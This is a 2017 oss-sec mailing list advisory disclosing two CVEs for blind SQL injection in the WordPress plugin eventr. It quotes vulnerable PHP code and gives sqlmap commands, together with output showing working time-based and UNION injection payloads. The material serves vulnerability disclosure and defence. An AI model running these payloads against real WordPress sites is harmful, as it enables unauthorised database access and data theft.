oss-sec mailing list archives
Blind SQL Injection in Wordpress plugin eventr v1.02.2
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Tue, 30 May 2017 07:35:44 -0400
Title: Blind SQL Injection in Wordpress plugin eventr v1.02.2 Author: Larry W. Cashdollar, @_larry0 Date: 2017-05-21 CVE-ID:[CVE-2017-1002018][CVE-2017-1002019] Download Site: https://wordpress.org/plugins/eventr/ Vendor: http://www.binnyva.com/ Vendor Notified: 2017-05-22 Vendor Contact: plugins () wordpress org Advisory: http://www.vapidlabs.com/advisory.php?v=192 Description: Use this plugin if you want to use your blog an event management tool. Vulnerability: The edit form and attendees.php code do not sanitize input to $_REQUSET[event] this allows blind time-based SQL injection by an authenticated user who is able to modify events. CVE-2017-1002018 In attendees.php: 40 $search = ''; 41 if(isset($_REQUEST['search']) and $_REQUEST['search']) $search = "AND A.name LIKE '%$_REQUEST[search]%'"; 42 43 $all_attendee = $wpdb->get_results("SELECT A.ID,A.name,A.url,A.email, EA.added_on, A.status FROM `{$wpdb->prefix}eventr_attendee` AS A 44 INNER JOIN `{$wpdb->prefix}eventr_event_attendee` AS EA ON attendee_ID=A.ID 45 WHERE EA.event_ID=$_REQUEST[event] $search ORDER BY A.name LIMIT $offset, $items _per_page"); CVE-2017-1002019 In event_form.php: 5 $action = 'new'; 6 if($_REQUEST['action'] == 'edit') $action = 'edit'; 7 8 $event = array(); 9 if($action == 'edit') { 10 $event = $wpdb->get_row("SELECT name,description,event_date,maximum_attendees,landing_page,status FROM {$wpdb->prefix}eventr_event WHERE ID = $_REQUEST[event]"); 11 } Exploit Code: • $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fattendees.php&event=*' --dbms mysql --level 3 --risk 3 --load-cookies=./cookies.txt • • URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] • sqlmap identified the following injection point(s) with a total of 1250 HTTP(s) requests: • --- • Parameter: #1* (URI) • Type: AND/OR time-based blind • Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) • Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=(SELECT * FROM (SELECT(SLEEP(5)))qppS) • • Type: UNION query • Title: Generic UNION query (random number) - 6 columns • Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/attendees.php&event=-2450 UNION ALL SELECT CONCAT(0x716a7a6a71,0x566d4a744c4353656f664d75435376426a736e4d7056476e4d536a465169736e654b4252777a7161,0x716a766271),9012,9012,9012,9012,9012-- pgAi • --- • [20:38:00] [INFO] the back-end DBMS is MySQL • web server operating system: Linux Ubuntu 16.04 (xenial) • web application technology: Apache 2.4.18 • back-end DBMS: MySQL >= 5.0.12 • [20:38:00] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com' • • [*] shutting down at 20:38:00 • • $ sqlmap -u 'http://example.com/wordpress/wp-admin/edit.php?page=eventr%2Fevent_form.php&event=*&action=edit' --dbms mysql --level 3 --risk 3 --load-cookies=./cookies.txt • • sqlmap identified the following injection point(s) with a total of 1476 HTTP(s) requests: • --- • Parameter: #1* (URI) • Type: AND/OR time-based blind • Title: MySQL >= 5.0.12 time-based blind - Parameter replace • Payload: http://example.com:80/wordpress/wp-admin/edit.php?page=eventr/event_form.php&event=(CASE WHEN (9111=9111) THEN SLEEP(5) ELSE 9111 END)&action=edit • --- • [06:58:46] [INFO] the back-end DBMS is MySQL • web server operating system: Linux Ubuntu 16.04 (xenial) • web application technology: Apache 2.4.18 • back-end DBMS: MySQL >= 5.0.12 • [06:58:46] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com' • • [*] shutting down at 06:58:46
Current thread:
- Blind SQL Injection in Wordpress plugin eventr v1.02.2 Larry W. Cashdollar (May 30)